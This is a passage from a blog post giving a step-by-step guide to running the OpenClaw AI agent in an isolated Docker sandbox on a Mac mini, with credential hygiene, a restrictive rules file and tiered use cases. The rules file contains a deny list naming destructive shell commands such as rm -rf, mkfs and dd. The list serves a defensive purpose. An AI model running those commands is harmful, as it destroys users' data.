      <span class="pi">-</span> <span class="s">/Volumes/OpenClaw-Sandbox/openclaw-config:/root/.openclaw</span>
      <span class="pi">-</span> <span class="s">/Volumes/OpenClaw-Sandbox/openclaw-workspace:/workspace</span>
    <span class="na">environment</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">OPENCLAW_LOG_LEVEL=info</span>
      <span class="c1"># API key goes here -- see Phase 3</span>
</code></pre></div></div>

<h3 id="option-c-docker-sandbox-advanced">Option C: Docker Sandbox (Advanced)</h3>

<p>Docker Desktop now offers Docker Sandboxes which provide micro-VM level isolation. If you want even stronger boundaries:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>docker sandbox create <span class="nt">--name</span> openclaw <span class="nt">-t</span> ghcr.io/openclaw/openclaw:latest shell
docker sandbox network proxy openclaw <span class="nt">--allow-host</span> localhost
docker sandbox run openclaw
</code></pre></div></div>

<p>This runs OpenClaw in an isolated micro-VM where the network proxy can inject API keys without the agent ever seeing them directly.</p>

<hr />

<h2 id="phase-3--install-and-configure-openclaw">Phase 3 — Install and Configure OpenClaw</h2>

<h3 id="31-api-key-setup">3.1 API Key Setup</h3>

<p>You will need at least one LLM provider API key. Options:</p>

<ul>
  <li><strong>Anthropic API key</strong> — recommended, since OpenClaw was originally built around Claude.</li>
  <li><strong>OpenAI API key</strong> — also fully supported.</li>
  <li><strong>Local model via Ollama</strong> — zero cloud dependency, maximum privacy, but lower capability.</li>
</ul>

<p><strong>Critical rule:</strong> Create a <em>new, dedicated</em> API key for OpenClaw. Do not reuse API keys from your other projects or homelab services. Set spending limits on this key via your provider’s dashboard.</p>

<p>Store the key as an environment variable in Docker, never in a config file that could be committed to a repo or read by the agent.</p>

<h3 id="32-run-onboarding">3.2 Run Onboarding</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>docker <span class="nb">exec</span> <span class="nt">-it</span> openclaw openclaw onboard
</code></pre></div></div>

<p>The wizard walks you through connecting a channel and selecting a model provider. For initial exploration, use <strong>WebChat</strong> only — do not connect WhatsApp, Telegram, or any messaging app tied to your personal accounts.</p>

<h3 id="33-write-a-restrictive-soulmd">3.3 Write a Restrictive soul.md</h3>

<p>This is the most important file. Create it at <code class="language-plaintext highlighter-rouge">/Volumes/OpenClaw-Sandbox/openclaw-config/soul.md</code>:</p>

<div class="language-markdown highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gh"># Agent Rules</span>

You are a sandboxed exploration agent. Follow these rules strictly:

<span class="gu">## Hard Constraints</span>
<span class="p">
-</span> NEVER send emails, messages, or any outbound communication without explicit approval.
<span class="p">-</span> NEVER access, read, or reference any files outside of /workspace.
<span class="p">-</span> NEVER make network requests to local/private IP ranges (10.x, 172.16-31.x, 192.168.x).
<span class="p">-</span> NEVER store, log, or transmit API keys, passwords, or credentials.
<span class="p">-</span> NEVER install skills from ClawHub without explicit user approval and source review.
<span class="p">-</span> NEVER delete files -- move to /workspace/trash instead.
<span class="p">-</span> NEVER execute destructive shell commands (rm -rf, mkfs, dd, etc.).
<span class="p">-</span> NEVER make purchases, financial transactions, or sign up for services.

<span class="gu">## Behavioral Guidelines</span>
<span class="p">
-</span> Always confirm before executing shell commands. Show the command first, wait for approval.
<span class="p">-</span> When browsing the web, do not submit forms or click through auth flows.
<span class="p">-</span> Keep all work products in /workspace.
<span class="p">-</span> If uncertain about a task, ask for clarification rather than guessing.
</code></pre></div></div>

<h3 id="34-run-security-audit">3.4 Run Security Audit</h3>

<p>After setup, run:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>docker <span class="nb">exec</span> <span class="nt">-it</span> openclaw openclaw security audit <span class="nt">--deep</span>
</code></pre></div></div>

<p>This flags common misconfigurations including exposed gateway ports, overly permissive allowlists, and filesystem permission issues.</p>

<hr />

<h2 id="phase-4--harden-the-deployment">Phase 4 — Harden the Deployment</h2>

<h3 id="41-network-isolation">4.1 Network Isolation</h3>

<ul>
  <li>Verify the gateway is bound to localhost only: <code class="language-plaintext highlighter-rouge">lsof -i :3000</code> should show <code class="language-plaintext highlighter-rouge">127.0.0.1</code>.</li>
  <li>If your router supports VLANs, put the Mac mini on an isolated VLAN for experimentation that cannot reach your NAS or other homelab devices.</li>
  <li>Consider using Little Snitch or the macOS firewall on the sandbox user to block unexpected outbound connections.</li>
</ul>

<h3 id="42-credential-hygiene">4.2 Credential Hygiene</h3>

<ul>
  <li>Use a dedicated, throwaway email address if any channel or skill requires one.</li>
  <li>Create separate accounts for any service you integrate (GitHub, calendar, etc.) — never your primary accounts.</li>
  <li>Rotate the API key weekly during active exploration.</li>
</ul>

<h3 id="43-skill-vetting-protocol">4.3 Skill Vetting Protocol</h3>

<p>Before installing any skill:</p>

<ol>
  <li>Read the full source code of the <code class="language-plaintext highlighter-rouge">SKILL.md</code> and any accompanying scripts.</li>
  <li>Check for shell commands, network requests, or file access outside expected paths.</li>
  <li>Look for obfuscated code, base64-encoded strings, or calls to external URLs.</li>
  <li>Prefer skills from the official <code class="language-plaintext highlighter-rouge">github.com/openclaw/skills</code> repo over random ClawHub submissions.</li>
  <li>Start with read-only skills before enabling write/exec skills.</li>
</ol>

<h3 id="44-monitoring">4.4 Monitoring</h3>

<ul>
  <li>Check container logs regularly: <code class="language-plaintext highlighter-rouge">docker logs openclaw --tail 100</code></li>
  <li>Monitor resource usage: <code class="language-plaintext highlighter-rouge">docker stats openclaw</code></li>
  <li>Review the workspace directory for unexpected files.</li>
  <li>Periodically run <code class="language-plaintext highlighter-rouge">openclaw security audit</code> inside the container.</li>
</ul>

<hr />

<h2 id="phase-5--explore-use-cases">Phase 5 — Explore Use Cases</h2>

<p>Start simple, add complexity gradually. Each tier builds on the previous.</p>

<h3 id="tier-1--low-risk-read-only-no-external-integrations">Tier 1 — Low Risk (Read-Only, No External Integrations)</h3>

<p>These are safe starting points with minimal blast radius.</p>

<ul>
  <li><strong>WebChat conversations</strong> — Just talk to the agent through the local WebUI. Ask it to summarize articles, explain concepts, or brainstorm ideas. No tools or skills needed.</li>
  <li><strong>File generation in workspace</strong> — Ask the agent to create markdown files, write code snippets, or generate documentation inside <code class="language-plaintext highlighter-rouge">/workspace</code>.</li>
  <li><strong>Web research</strong> — Have the agent browse and summarize public web pages. Keep it read-only (no form submissions or logins).</li>
</ul>

<h3 id="tier-2--medium-risk-local-tools-no-personal-accounts">Tier 2 — Medium Risk (Local Tools, No Personal Accounts)</h3>

<ul>
  <li><strong>Shell command execution (supervised)</strong> — With your soul.md approval-gate in place, let the agent run commands and observe how it handles multi-step tasks. Good for understanding the exec tool behavior.</li>
  <li><strong>Code generation and review</strong> — Point the agent at a codebase in <code class="language-plaintext highlighter-rouge">/workspace</code> and ask it to review, refactor, or generate code. Relevant for your Android work — have it scaffold Jetpack Compose components or write Gradle build scripts.</li>
  <li><strong>Browser automation</strong> — Let the agent control a headless Chromium instance inside the container. Watch how it navigates pages and extracts data.</li>
  <li><strong>Cron scheduling</strong> — Set up simple scheduled tasks (e.g., “every morning at 8am, summarize the top 5 Hacker News stories and save to /workspace/daily-digest/”).</li>
  <li><strong>Local model experimentation</strong> — If you install Ollama on the Mac mini, configure OpenClaw to use it via <code class="language-plaintext highlighter-rouge">http://host.docker.internal:11434</code>. This gives you a fully offline, zero-cloud setup.</li>
</ul>

<h3 id="tier-3--higher-risk-external-channels-carefully-scoped">Tier 3 — Higher Risk (External Channels, Carefully Scoped)</h3>

<p>Only proceed here after you are comfortable with Tier 2.</p>

<ul>
  <li><strong>Telegram bot (dedicated account)</strong> — Create a new Telegram account (use a prepaid SIM or Google Voice number, not your personal number). Connect it as a channel. This lets you message the agent from your phone.</li>
  <li><strong>Discord bot (dedicated server)</strong> — Create a private Discord server with only you in it. Connect OpenClaw as a bot. Good for testing multi-user/channel routing.</li>
  <li><strong>GitHub integration (throwaway repo)</strong> — Create a fresh GitHub account or use a test repo. Let the agent manage issues, PRs, or code deployments in a sandbox repo. Never connect your primary GitHub.</li>
  <li><strong>Calendar integration (test calendar)</strong> — Create a separate Google account. Add a Google Calendar. Let the agent read and summarize events. Start read-only before enabling write access.</li>
</ul>

<h3 id="tier-4--advanced-proceed-with-caution">Tier 4 — Advanced (Proceed with Caution)</h3>

<ul>
  <li><strong>Multi-agent routing</strong> — Run multiple agent workspaces, each connected to different channels with different permission levels.</li>
  <li><strong>Smart home integration</strong> — If you have Home Assistant, you could let an agent read sensor data or trigger automations. Use a read-only HA API token scoped to specific entities.</li>
  <li><strong>Homelab monitoring</strong> — Since you run Netdata, you could build a skill that queries the Netdata API and sends you alerts via Telegram. Keep it read-only — the agent should never have write access to infrastructure.</li>
  <li><strong>Development workflow automation</strong> — Have the agent monitor a Git repo for new commits, run lint/test suites, and report results back to you on Telegram.</li>
</ul>

<hr />

<h2 id="recommended-use-cases-for-a-homelab-android-engineer">Recommended Use Cases for a Homelab Android Engineer</h2>

<p>Based on your background, here are the use cases I think would be most valuable and relevant for you:</p>

<h3 id="daily-briefing-bot">Daily Briefing Bot</h3>

<p>Have OpenClaw send you a morning summary via Telegram (dedicated account) with weather, your top 3 calendar events, and Hacker News or Android dev news headlines. Low risk, high daily value. Start with the WebChat channel before graduating to Telegram.</p>

<h3 id="android-code-scaffold-generator">Android Code Scaffold Generator</h3>

<p>Point the agent at a workspace with your project structure conventions. Ask it to generate Jetpack Compose screens, ViewModel boilerplate, Gradle module configurations, or Room database entities. Review the output and iterate on your soul.md to fine-tune the style.</p>

<h3 id="homelab-status-dashboard">Homelab Status Dashboard</h3>

<p>Build a skill that queries your Netdata instances (Mac mini, other nodes) via their REST API and compiles a status report. The agent can alert you if a container goes down or resource usage spikes. Keep the agent’s access strictly read-only.</p>

<h3 id="documentation-writer">Documentation Writer</h3>

<p>Feed the agent your homelab setup notes (from your workspace directory) and ask it to produce clean markdown documentation — network diagrams, service inventories, Docker Compose references. Great for your private GitHub repo.</p>

<h3 id="research-assistant">Research Assistant</h3>

<p>Use the agent’s browser tool to research hardware, software, or infrastructure topics. For example: “Research the current state of Thunderbolt 5 NVMe enclosures and summarize the best options with pricing.” The agent saves results to your workspace.</p>

<h3 id="git-pr-reviewer">Git PR Reviewer</h3>

<p>Point the agent at a test GitHub repo. Push code and ask it to review your PRs, suggest improvements, and check for common Kotlin/Android pitfalls. Useful for solo projects where you lack a second pair of eyes.</p>

<h3 id="rssnews-aggregator">RSS/News Aggregator</h3>

<p>Have the agent pull from Android developer blogs, Kotlin newsletters, and homelab subreddits (r/homelab, r/selfhosted). It compiles a weekly digest saved to your workspace or sent via Telegram.</p>

<h3 id="docker-compose-generator">Docker Compose Generator</h3>

<p>Describe a service you want to self-host, and have the agent generate a hardened Docker Compose file with security best practices baked in — non-root user, read-only filesystem, resource limits, health checks.</p>

<hr />

<h2 id="skills-worth-exploring">Skills Worth Exploring</h2>

<p>These are from the official or well-vetted parts of the ecosystem. Always review source code before installing.</p>

<table>
  <thead>
    <tr>
      <th>Skill</th>
      <th>What It Does</th>
      <th>Risk Level</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">frontend-design</code> (official)</td>
      <td>Forces production-grade UI output</td>
      <td>Low</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">exa-search</code></td>
      <td>Developer-focused web search using Exa index</td>
      <td>Low</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">openai-whisper</code></td>
      <td>Local speech-to-text transcription</td>
      <td>Low</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">self-improving-agent</code></td>
      <td>Logs errors and learnings to improve over time</td>
      <td>Medium</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">github</code> (built-in)</td>
      <td>Manages repos, PRs, issues</td>
      <td>Medium</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">n8n-workflow</code></td>
      <td>Chat-driven control of local n8n instance</td>
      <td>Medium</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">composio</code></td>
      <td>Managed OAuth connector for 860+ services</td>
      <td>Medium-High</td>
    </tr>
  </tbody>
</table>

<p><strong>Avoid</strong> installing skills that request broad file system access, network access to private IPs, or shell execution without clear justification.</p>

<hr />

<h2 id="ongoing-maintenance-checklist">Ongoing Maintenance Checklist</h2>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Run <code class="language-plaintext highlighter-rouge">openclaw security audit --deep</code> weekly</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Rotate API keys monthly (or immediately if you suspect compromise)</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Update OpenClaw image: <code class="language-plaintext highlighter-rouge">docker pull ghcr.io/openclaw/openclaw:latest</code></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Review container logs for unexpected tool calls or network requests</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Check the external NVMe workspace for files you did not create</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Review installed skills against the latest CVE advisories</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Back up your <code class="language-plaintext highlighter-rouge">soul.md</code> and workspace to your private GitHub repo</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Never move OpenClaw config or data to your internal SSD</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Never connect personal messaging accounts (WhatsApp, iMessage, personal Telegram)</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Never grant the agent access to your primary email, GitHub, or cloud accounts</li>
</ul>

<hr />

<h2 id="resources">Resources</h2>

<ul>
  <li><a href="https://github.com/openclaw/openclaw">Official GitHub</a></li>
  <li><a href="https://docs.openclaw.ai">Official Docs</a></li>
  <li><a href="https://docs.openclaw.ai/gateway/security">Security Documentation</a></li>
  <li><a href="https://openclaws.io/blog/openclaw-docker-deployment/">Official Docker Deployment Guide</a></li>
  <li><a href="https://www.docker.com/blog/run-openclaw-securely-in-docker-sandboxes/">Docker Blog — Running OpenClaw in Sandboxes</a></li>
  <li><a href="https://contabo.com/blog/openclaw-security-guide-2026/">Contabo Security Guide</a></li>
  <li><a href="https://www.datacamp.com/tutorial/openclaw-security">DataCamp Security Best Practices</a></li>
  <li><a href="https://github.com/hesamsheikh/awesome-openclaw-usecases">Awesome OpenClaw Use Cases (Community)</a></li>
  <li><a href="https://github.com/VoltAgent/awesome-openclaw-skills">Awesome OpenClaw Skills (Curated)</a></li>
  <li><a href="https://www.malwarebytes.com/blog/news/2026/02/openclaw-what-is-it-and-can-you-use-it-safely">Malwarebytes Analysis</a></li>
</ul>]]></content><author><name>Prathamesh Shetye</name></author><category term="openclaw" /><category term="homelab" /><summary type="html"><![CDATA[Hardware: Mac mini M4 (base config) + 4TB NVMe in Thunderbolt 4 enclosure Goal: Safely explore OpenClaw without risking personal or home network data]]></summary></entry></feed>